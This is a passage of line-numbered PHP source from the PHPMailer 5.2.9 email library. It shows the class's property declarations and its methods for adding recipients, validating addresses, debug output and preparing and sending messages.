7891 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7892 * @author Brent R. Matzelle (original founder)
7893 * @copyright 2012 - 2014 Marcus Bointon
7894 * @copyright 2010 - 2012 Jim Jagielski
7895 * @copyright 2004 - 2009 Andy Prevost
7896 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
7897 * @note This program is distributed in the hope that it will be useful - WITHOUT
7898 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
7899 * FITNESS FOR A PARTICULAR PURPOSE.
7900 */
7901
7902/**
7903 * PHPMailer - PHP email creation and transport class.
7904 * @package PHPMailer
7905 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7906 * @author Jim Jagielski (jimjag) <>
7907 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7908 * @author Brent R. Matzelle (original founder)
7909 */
7910class PHPMailer
7911{
7912 /**
7913 * The PHPMailer Version number.
7914 * @type string
7915 */
7916 public $Version = '5.2.9';
7917
7918 /**
7919 * Email priority.
7920 * Options: 1 = High, 3 = Normal, 5 = low.
7921 * @type integer
7922 */
7923 public $Priority = 3;
7924
7925 /**
7926 * The character set of the message.
7927 * @type string
7928 */
7929 public $CharSet = 'iso-8859-1';
7930
7931 /**
7932 * The MIME Content-type of the message.
7933 * @type string
7934 */
7935 public $ContentType = 'text/plain';
7936
7937 /**
7938 * The message encoding.
7939 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
7940 * @type string
7941 */
7942 public $Encoding = '8bit';
7943
7944 /**
7945 * Holds the most recent mailer error message.
7946 * @type string
7947 */
7948 public $ErrorInfo = '';
7949
7950 /**
7951 * The From email address for the message.
7952 * @type string
7953 */
7954 public $From = 'root@localhost';
7955
7956 /**
7957 * The From name of the message.
7958 * @type string
7959 */
7960 public $FromName = 'Root User';
7961
7962 /**
7963 * The Sender email (Return-Path) of the message.
7964 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
7965 * @type string
7966 */
7967 public $Sender = '';
7968
7969 /**
7970 * The Return-Path of the message.
7971 * If empty, it will be set to either From or Sender.
7972 * @type string
7973 * @deprecated Email senders should never set a return-path header;
7974 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
7975 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
7976 */
7977 public $ReturnPath = '';
7978
7979 /**
7980 * The Subject of the message.
7981 * @type string
7982 */
7983 public $Subject = '';
7984
7985 /**
7986 * An HTML or plain text message body.
7987 * If HTML then call isHTML(true).
7988 * @type string
7989 */
7990 public $Body = '';
7991
7992 /**
7993 * The plain-text message body.
7994 * This body can be read by mail clients that do not have HTML email
7995 * capability such as mutt & Eudora.
7996 * Clients that can read HTML will view the normal Body.
7997 * @type string
7998 */
7999 public $AltBody = '';
8000
8001 /**
8002 * An iCal message part body.
8003 * Only supported in simple alt or alt_inline message types
8004 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
8005 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
8006 * @link http://kigkonsult.se/iCalcreator/
8007 * @type string
8008 */
8009 public $Ical = '';
8010
8011 /**
8012 * The complete compiled MIME message body.
8013 * @access protected
8014 * @type string
8015 */
8016 protected $MIMEBody = '';
8017
8018 /**
8019 * The complete compiled MIME message headers.
8020 * @type string
8021 * @access protected
8022 */
8023 protected $MIMEHeader = '';
8024
8025 /**
8026 * Extra headers that createHeader() doesn't fold in.
8027 * @type string
8028 * @access protected
8029 */
8030 protected $mailHeader = '';
8031
8032 /**
8033 * Word-wrap the message body to this number of chars.
8034 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
8035 * @type integer
8036 */
8037 public $WordWrap = 0;
8038
8039 /**
8040 * Which method to use to send mail.
8041 * Options: "mail", "sendmail", or "smtp".
8042 * @type string
8043 */
8044 public $Mailer = 'mail';
8045
8046 /**
8047 * The path to the sendmail program.
8048 * @type string
8049 */
8050 public $Sendmail = '/usr/sbin/sendmail';
8051
8052 /**
8053 * Whether mail() uses a fully sendmail-compatible MTA.
8054 * One which supports sendmail's "-oi -f" options.
8055 * @type boolean
8056 */
8057 public $UseSendmailOptions = true;
8058
8059 /**
8060 * Path to PHPMailer plugins.
8061 * Useful if the SMTP class is not in the PHP include path.
8062 * @type string
8063 * @deprecated Should not be needed now there is an autoloader.
8064 */
8065 public $PluginDir = '';
8066
8067 /**
8068 * The email address that a reading confirmation should be sent to.
8069 * @type string
8070 */
8071 public $ConfirmReadingTo = '';
8072
8073 /**
8074 * The hostname to use in Message-Id and Received headers
8075 * and as default HELO string.
8076 * If empty, the value returned
8077 * by SERVER_NAME is used or 'localhost.localdomain'.
8078 * @type string
8079 */
8080 public $Hostname = '';
8081
8082 /**
8083 * An ID to be used in the Message-Id header.
8084 * If empty, a unique id will be generated.
8085 * @type string
8086 */
8087 public $MessageID = '';
8088
8089 /**
8090 * The message Date to be used in the Date header.
8091 * If empty, the current date will be added.
8092 * @type string
8093 */
8094 public $MessageDate = '';
8095
8096 /**
8097 * SMTP hosts.
8098 * Either a single hostname or multiple semicolon-delimited hostnames.
8099 * You can also specify a different port
8100 * for each host by using this format: [hostname:port]
8101 * (e.g. "smtp1.example.com:25;smtp2.example.com").
8102 * You can also specify encryption type, for example:
8103 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
8104 * Hosts will be tried in order.
8105 * @type string
8106 */
8107 public $Host = 'localhost';
8108
8109 /**
8110 * The default SMTP server port.
8111 * @type integer
8112 * @TODO Why is this needed when the SMTP class takes care of it?
8113 */
8114 public $Port = 25;
8115
8116 /**
8117 * The SMTP HELO of the message.
8118 * Default is $Hostname.
8119 * @type string
8120 * @see PHPMailer::$Hostname
8121 */
8122 public $Helo = '';
8123
8124 /**
8125 * The secure connection prefix.
8126 * Options: "", "ssl" or "tls"
8127 * @type string
8128 */
8129 public $SMTPSecure = '';
8130
8131 /**
8132 * Whether to use SMTP authentication.
8133 * Uses the Username and Password properties.
8134 * @type boolean
8135 * @see PHPMailer::$Username
8136 * @see PHPMailer::$Password
8137 */
8138 public $SMTPAuth = false;
8139
8140 /**
8141 * SMTP username.
8142 * @type string
8143 */
8144 public $Username = '';
8145
8146 /**
8147 * SMTP password.
8148 * @type string
8149 */
8150 public $Password = '';
8151
8152 /**
8153 * SMTP auth type.
8154 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
8155 * @type string
8156 */
8157 public $AuthType = '';
8158
8159 /**
8160 * SMTP realm.
8161 * Used for NTLM auth
8162 * @type string
8163 */
8164 public $Realm = '';
8165
8166 /**
8167 * SMTP workstation.
8168 * Used for NTLM auth
8169 * @type string
8170 */
8171 public $Workstation = '';
8172
8173 /**
8174 * The SMTP server timeout in seconds.
8175 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
8176 * @type integer
8177 */
8178 public $Timeout = 300;
8179
8180 /**
8181 * SMTP class debug output mode.
8182 * Debug output level.
8183 * Options:
8184 * * `0` No output
8185 * * `1` Commands
8186 * * `2` Data and commands
8187 * * `3` As 2 plus connection status
8188 * * `4` Low-level data output
8189 * @type integer
8190 * @see SMTP::$do_debug
8191 */
8192 public $SMTPDebug = 0;
8193
8194 /**
8195 * How to handle debug output.
8196 * Options:
8197 * * `echo` Output plain-text as-is, appropriate for CLI
8198 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
8199 * * `error_log` Output to error log as configured in php.ini
8200 *
8201 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
8202 * <code>
8203 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
8204 * </code>
8205 * @type string|callable
8206 * @see SMTP::$Debugoutput
8207 */
8208 public $Debugoutput = 'echo';
8209
8210 /**
8211 * Whether to keep SMTP connection open after each message.
8212 * If this is set to true then to close the connection
8213 * requires an explicit call to smtpClose().
8214 * @type boolean
8215 */
8216 public $SMTPKeepAlive = false;
8217
8218 /**
8219 * Whether to split multiple to addresses into multiple messages
8220 * or send them all in one message.
8221 * @type boolean
8222 */
8223 public $SingleTo = false;
8224
8225 /**
8226 * Storage for addresses when SingleTo is enabled.
8227 * @type array
8228 * @TODO This should really not be public
8229 */
8230 public $SingleToArray = array();
8231
8232 /**
8233 * Whether to generate VERP addresses on send.
8234 * Only applicable when sending via SMTP.
8235 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
8236 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
8237 * @type boolean
8238 */
8239 public $do_verp = false;
8240
8241 /**
8242 * Whether to allow sending messages with an empty body.
8243 * @type boolean
8244 */
8245 public $AllowEmpty = false;
8246
8247 /**
8248 * The default line ending.
8249 * @note The default remains "\n". We force CRLF where we know
8250 * it must be used via self::CRLF.
8251 * @type string
8252 */
8253 public $LE = "\n";
8254
8255 /**
8256 * DKIM selector.
8257 * @type string
8258 */
8259 public $DKIM_selector = '';
8260
8261 /**
8262 * DKIM Identity.
8263 * Usually the email address used as the source of the email
8264 * @type string
8265 */
8266 public $DKIM_identity = '';
8267
8268 /**
8269 * DKIM passphrase.
8270 * Used if your key is encrypted.
8271 * @type string
8272 */
8273 public $DKIM_passphrase = '';
8274
8275 /**
8276 * DKIM signing domain name.
8277 * @example 'example.com'
8278 * @type string
8279 */
8280 public $DKIM_domain = '';
8281
8282 /**
8283 * DKIM private key file path.
8284 * @type string
8285 */
8286 public $DKIM_private = '';
8287
8288 /**
8289 * Callback Action function name.
8290 *
8291 * The function that handles the result of the send email action.
8292 * It is called out by send() for each email sent.
8293 *
8294 * Value can be any php callable: http://www.php.net/is_callable
8295 *
8296 * Parameters:
8297 * boolean $result result of the send action
8298 * string $to email address of the recipient
8299 * string $cc cc email addresses
8300 * string $bcc bcc email addresses
8301 * string $subject the subject
8302 * string $body the email body
8303 * string $from email address of sender
8304 * @type string
8305 */
8306 public $action_function = '';
8307
8308 /**
8309 * What to use in the X-Mailer header.
8310 * Options: null for default, whitespace for none, or a string to use
8311 * @type string
8312 */
8313 public $XMailer = '';
8314
8315 /**
8316 * An instance of the SMTP sender class.
8317 * @type SMTP
8318 * @access protected
8319 */
8320 protected $smtp = null;
8321
8322 /**
8323 * The array of 'to' addresses.
8324 * @type array
8325 * @access protected
8326 */
8327 protected $to = array();
8328
8329 /**
8330 * The array of 'cc' addresses.
8331 * @type array
8332 * @access protected
8333 */
8334 protected $cc = array();
8335
8336 /**
8337 * The array of 'bcc' addresses.
8338 * @type array
8339 * @access protected
8340 */
8341 protected $bcc = array();
8342
8343 /**
8344 * The array of reply-to names and addresses.
8345 * @type array
8346 * @access protected
8347 */
8348 protected $ReplyTo = array();
8349
8350 /**
8351 * An array of all kinds of addresses.
8352 * Includes all of $to, $cc, $bcc, $replyto
8353 * @type array
8354 * @access protected
8355 */
8356 protected $all_recipients = array();
8357
8358 /**
8359 * The array of attachments.
8360 * @type array
8361 * @access protected
8362 */
8363 protected $attachment = array();
8364
8365 /**
8366 * The array of custom headers.
8367 * @type array
8368 * @access protected
8369 */
8370 protected $CustomHeader = array();
8371
8372 /**
8373 * The most recent Message-ID (including angular brackets).
8374 * @type string
8375 * @access protected
8376 */
8377 protected $lastMessageID = '';
8378
8379 /**
8380 * The message's MIME type.
8381 * @type string
8382 * @access protected
8383 */
8384 protected $message_type = '';
8385
8386 /**
8387 * The array of MIME boundary strings.
8388 * @type array
8389 * @access protected
8390 */
8391 protected $boundary = array();
8392
8393 /**
8394 * The array of available languages.
8395 * @type array
8396 * @access protected
8397 */
8398 protected $language = array();
8399
8400 /**
8401 * The number of errors encountered.
8402 * @type integer
8403 * @access protected
8404 */
8405 protected $error_count = 0;
8406
8407 /**
8408 * The S/MIME certificate file path.
8409 * @type string
8410 * @access protected
8411 */
8412 protected $sign_cert_file = '';
8413
8414 /**
8415 * The S/MIME key file path.
8416 * @type string
8417 * @access protected
8418 */
8419 protected $sign_key_file = '';
8420
8421 /**
8422 * The S/MIME password for the key.
8423 * Used only if the key is encrypted.
8424 * @type string
8425 * @access protected
8426 */
8427 protected $sign_key_pass = '';
8428
8429 /**
8430 * Whether to throw exceptions for errors.
8431 * @type boolean
8432 * @access protected
8433 */
8434 protected $exceptions = false;
8435
8436 /**
8437 * Error severity: message only, continue processing.
8438 */
8439 const STOP_MESSAGE = 0;
8440
8441 /**
8442 * Error severity: message, likely ok to continue processing.
8443 */
8444 const STOP_CONTINUE = 1;
8445
8446 /**
8447 * Error severity: message, plus full stop, critical error reached.
8448 */
8449 const STOP_CRITICAL = 2;
8450
8451 /**
8452 * SMTP RFC standard line ending.
8453 */
8454 const CRLF = "\r\n";
8455
8456 /**
8457 * Constructor.
8458 * @param boolean $exceptions Should we throw external exceptions?
8459 */
8460 public function __construct($exceptions = false)
8461 {
8462 $this->exceptions = (boolean)$exceptions;
8463 }
8464
8465 /**
8466 * Destructor.
8467 */
8468 public function __destruct()
8469 {
8470 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
8471 $this->smtpClose();
8472 }
8473 }
8474
8475 /**
8476 * Call mail() in a safe_mode-aware fashion.
8477 * Also, unless sendmail_path points to sendmail (or something that
8478 * claims to be sendmail), don't pass params (not a perfect fix,
8479 * but it will do)
8480 * @param string $to To
8481 * @param string $subject Subject
8482 * @param string $body Message Body
8483 * @param string $header Additional Header(s)
8484 * @param string $params Params
8485 * @access private
8486 * @return boolean
8487 */
8488 private function mailPassthru($to, $subject, $body, $header, $params)
8489 {
8490 //Check overloading of mail function to avoid double-encoding
8491 if (ini_get('mbstring.func_overload') & 1) {
8492 $subject = $this->secureHeader($subject);
8493 } else {
8494 $subject = $this->encodeHeader($this->secureHeader($subject));
8495 }
8496 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
8497 $result = @mail($to, $subject, $body, $header);
8498 } else {
8499 $result = @mail($to, $subject, $body, $header, $params);
8500 }
8501 return $result;
8502 }
8503
8504 /**
8505 * Output debugging info via user-defined method.
8506 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
8507 * @see PHPMailer::$Debugoutput
8508 * @see PHPMailer::$SMTPDebug
8509 * @param string $str
8510 */
8511 protected function edebug($str)
8512 {
8513 if ($this->SMTPDebug <= 0) {
8514 return;
8515 }
8516 //Avoid clash with built-in function names
8517 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
8518 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
8519 return;
8520 }
8521 switch ($this->Debugoutput) {
8522 case 'error_log':
8523 //Don't output, just log
8524 error_log($str);
8525 break;
8526 case 'html':
8527 //Cleans up output a bit for a better looking, HTML-safe output
8528 echo htmlentities(
8529 preg_replace('/[\r\n]+/', '', $str),
8530 ENT_QUOTES,
8531 'UTF-8'
8532 )
8533 . "<br>\n";
8534 break;
8535 case 'echo':
8536 default:
8537 //Normalize line breaks
8538 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
8539 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
8540 "\n",
8541 "\n \t ",
8542 trim($str)
8543 ) . "\n";
8544 }
8545 }
8546
8547 /**
8548 * Sets message type to HTML or plain.
8549 * @param boolean $isHtml True for HTML mode.
8550 * @return void
8551 */
8552 public function isHTML($isHtml = true)
8553 {
8554 if ($isHtml) {
8555 $this->ContentType = 'text/html';
8556 } else {
8557 $this->ContentType = 'text/plain';
8558 }
8559 }
8560
8561 /**
8562 * Send messages using SMTP.
8563 * @return void
8564 */
8565 public function isSMTP()
8566 {
8567 $this->Mailer = 'smtp';
8568 }
8569
8570 /**
8571 * Send messages using PHP's mail() function.
8572 * @return void
8573 */
8574 public function isMail()
8575 {
8576 $this->Mailer = 'mail';
8577 }
8578
8579 /**
8580 * Send messages using $Sendmail.
8581 * @return void
8582 */
8583 public function isSendmail()
8584 {
8585 $ini_sendmail_path = ini_get('sendmail_path');
8586
8587 if (!stristr($ini_sendmail_path, 'sendmail')) {
8588 $this->Sendmail = '/usr/sbin/sendmail';
8589 } else {
8590 $this->Sendmail = $ini_sendmail_path;
8591 }
8592 $this->Mailer = 'sendmail';
8593 }
8594
8595 /**
8596 * Send messages using qmail.
8597 * @return void
8598 */
8599 public function isQmail()
8600 {
8601 $ini_sendmail_path = ini_get('sendmail_path');
8602
8603 if (!stristr($ini_sendmail_path, 'qmail')) {
8604 $this->Sendmail = '/var/qmail/bin/qmail-inject';
8605 } else {
8606 $this->Sendmail = $ini_sendmail_path;
8607 }
8608 $this->Mailer = 'qmail';
8609 }
8610
8611 /**
8612 * Add a "To" address.
8613 * @param string $address
8614 * @param string $name
8615 * @return boolean true on success, false if address already used
8616 */
8617 public function addAddress($address, $name = '')
8618 {
8619 return $this->addAnAddress('to', $address, $name);
8620 }
8621
8622 /**
8623 * Add a "CC" address.
8624 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8625 * @param string $address
8626 * @param string $name
8627 * @return boolean true on success, false if address already used
8628 */
8629 public function addCC($address, $name = '')
8630 {
8631 return $this->addAnAddress('cc', $address, $name);
8632 }
8633
8634 /**
8635 * Add a "BCC" address.
8636 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8637 * @param string $address
8638 * @param string $name
8639 * @return boolean true on success, false if address already used
8640 */
8641 public function addBCC($address, $name = '')
8642 {
8643 return $this->addAnAddress('bcc', $address, $name);
8644 }
8645
8646 /**
8647 * Add a "Reply-to" address.
8648 * @param string $address
8649 * @param string $name
8650 * @return boolean
8651 */
8652 public function addReplyTo($address, $name = '')
8653 {
8654 return $this->addAnAddress('Reply-To', $address, $name);
8655 }
8656
8657 /**
8658 * Add an address to one of the recipient arrays.
8659 * Addresses that have been added already return false, but do not throw exceptions
8660 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
8661 * @param string $address The email address to send to
8662 * @param string $name
8663 * @throws phpmailerException
8664 * @return boolean true on success, false if address already used or invalid in some way
8665 * @access protected
8666 */
8667 protected function addAnAddress($kind, $address, $name = '')
8668 {
8669 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
8670 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
8671 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
8672 if ($this->exceptions) {
8673 throw new phpmailerException('Invalid recipient array: ' . $kind);
8674 }
8675 return false;
8676 }
8677 $address = trim($address);
8678 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8679 if (!$this->validateAddress($address)) {
8680 $this->setError($this->lang('invalid_address') . ': ' . $address);
8681 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8682 if ($this->exceptions) {
8683 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8684 }
8685 return false;
8686 }
8687 if ($kind != 'Reply-To') {
8688 if (!isset($this->all_recipients[strtolower($address)])) {
8689 array_push($this->$kind, array($address, $name));
8690 $this->all_recipients[strtolower($address)] = true;
8691 return true;
8692 }
8693 } else {
8694 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
8695 $this->ReplyTo[strtolower($address)] = array($address, $name);
8696 return true;
8697 }
8698 }
8699 return false;
8700 }
8701
8702 /**
8703 * Set the From and FromName properties.
8704 * @param string $address
8705 * @param string $name
8706 * @param boolean $auto Whether to also set the Sender address, defaults to true
8707 * @throws phpmailerException
8708 * @return boolean
8709 */
8710 public function setFrom($address, $name = '', $auto = true)
8711 {
8712 $address = trim($address);
8713 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8714 if (!$this->validateAddress($address)) {
8715 $this->setError($this->lang('invalid_address') . ': ' . $address);
8716 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8717 if ($this->exceptions) {
8718 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8719 }
8720 return false;
8721 }
8722 $this->From = $address;
8723 $this->FromName = $name;
8724 if ($auto) {
8725 if (empty($this->Sender)) {
8726 $this->Sender = $address;
8727 }
8728 }
8729 return true;
8730 }
8731
8732 /**
8733 * Return the Message-ID header of the last email.
8734 * Technically this is the value from the last time the headers were created,
8735 * but it's also the message ID of the last sent message except in
8736 * pathological cases.
8737 * @return string
8738 */
8739 public function getLastMessageID()
8740 {
8741 return $this->lastMessageID;
8742 }
8743
8744 /**
8745 * Check that a string looks like an email address.
8746 * @param string $address The email address to check
8747 * @param string $patternselect A selector for the validation pattern to use :
8748 * * `auto` Pick strictest one automatically;
8749 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
8750 * * `pcre` Use old PCRE implementation;
8751 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
8752 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
8753 * * `noregex` Don't use a regex: super fast, really dumb.
8754 * @return boolean
8755 * @static
8756 * @access public
8757 */
8758 public static function validateAddress($address, $patternselect = 'auto')
8759 {
8760 if (!$patternselect or $patternselect == 'auto') {
8761 //Check this constant first so it works when extension_loaded() is disabled by safe mode
8762 //Constant was added in PHP 5.2.4
8763 if (defined('PCRE_VERSION')) {
8764 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
8765 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
8766 $patternselect = 'pcre8';
8767 } else {
8768 $patternselect = 'pcre';
8769 }
8770 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
8771 //Fall back to older PCRE
8772 $patternselect = 'pcre';
8773 } else {
8774 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
8775 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
8776 $patternselect = 'php';
8777 } else {
8778 $patternselect = 'noregex';
8779 }
8780 }
8781 }
8782 switch ($patternselect) {
8783 case 'pcre8':
8784 /**
8785 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
8786 * @link http://squiloople.com/2009/12/20/email-address-validation/
8787 * @copyright 2009-2010 Michael Rushton
8788 * Feel free to use and redistribute this code. But please keep this copyright notice.
8789 */
8790 return (boolean)preg_match(
8791 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
8792 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
8793 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
8794 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
8795 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
8796 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
8797 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
8798 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8799 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
8800 $address
8801 );
8802 case 'pcre':
8803 //An older regex that doesn't need a recent PCRE
8804 return (boolean)preg_match(
8805 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
8806 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
8807 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
8808 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
8809 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
8810 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
8811 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
8812 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
8813 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8814 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
8815 $address
8816 );
8817 case 'html5':
8818 /**
8819 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
8820 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
8821 */
8822 return (boolean)preg_match(
8823 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
8824 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
8825 $address
8826 );
8827 case 'noregex':
8828 //No PCRE! Do something _very_ approximate!
8829 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
8830 return (strlen($address) >= 3
8831 and strpos($address, '@') >= 1
8832 and strpos($address, '@') != strlen($address) - 1);
8833 case 'php':
8834 default:
8835 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
8836 }
8837 }
8838
8839 /**
8840 * Create a message and send it.
8841 * Uses the sending method specified by $Mailer.
8842 * @throws phpmailerException
8843 * @return boolean false on error - See the ErrorInfo property for details of the error.
8844 */
8845 public function send()
8846 {
8847 try {
8848 if (!$this->preSend()) {
8849 return false;
8850 }
8851 return $this->postSend();
8852 } catch (phpmailerException $exc) {
8853 $this->mailHeader = '';
8854 $this->setError($exc->getMessage());
8855 if ($this->exceptions) {
8856 throw $exc;
8857 }
8858 return false;
8859 }
8860 }
8861
8862 /**
8863 * Prepare a message for sending.
8864 * @throws phpmailerException
8865 * @return boolean
8866 */
8867 public function preSend()
8868 {
8869 try {
8870 $this->mailHeader = '';
8871 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
8872 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
8873 }
8874
8875 // Set whether the message is multipart/alternative
8876 if (!empty($this->AltBody)) {
8877 $this->ContentType = 'multipart/alternative';
8878 }
8879
8880 $this->error_count = 0; // reset errors
8881 $this->setMessageType();
8882 // Refuse to send an empty message unless we are specifically allowing it
8883 if (!$this->AllowEmpty and empty($this->Body)) {
8884 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
8885 }
8886
8887 $this->MIMEHeader = $this->createHeader();
8888 $this->MIMEBody = $this->createBody();
8889
8890 // To capture the complete message when using mail(), create
8891 // an extra header list which createHeader() doesn't fold in
8892 if ($this->Mailer == 'mail') {
8893 if (count($this->to) > 0) {
8894 $this->mailHeader .= $this->addrAppend('To', $this->to);
8895 } else {
8896 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
8897 }
8898 $this->mailHeader .= $this->headerLine(
8899 'Subject',
8900 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
8901 );
8902 }
8903
8904 // Sign with DKIM if enabled
8905 if (!empty($this->DKIM_domain)
8906 && !empty($this->DKIM_private)
8907 && !empty($this->DKIM_selector)
8908 && file_exists($this->DKIM_private)) {
8909 $header_dkim = $this->DKIM_Add(
8910 $this->MIMEHeader . $this->mailHeader,
8911 $this->encodeHeader($this->secureHeader($this->Subject)),
8912 $this->MIMEBody
8913 );
8914 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
8915 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
8916 }
8917 return true;
8918
8919 } catch (phpmailerException $exc) {
8920 $this->setError($exc->getMessage());
8921 if ($this->exceptions) {
8922 throw $exc;
8923 }
8924 return false;
8925 }
8926 }
8927
8928 /**
8929 * Actually send a message.
8930 * Send the email via the selected mechanism
8931 * @throws phpmailerException
8932 * @return boolean
8933 */
8934 public function postSend()
8935 {
8936 try {
8937 // Choose the mailer and send through it
8938 switch ($this->Mailer) {
8939 case 'sendmail':
8940 case 'qmail':
8941 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
8942 case 'smtp':
8943 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
8944 case 'mail':
8945 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8946 default:
8947 $sendMethod = $this->Mailer.'Send';
8948 if (method_exists($this, $sendMethod)) {
8949 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
8950 }
8951
8952 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8953 }
8954 } catch (phpmailerException $exc) {
8955 $this->setError($exc->getMessage());
8956 $this->edebug($exc->getMessage());
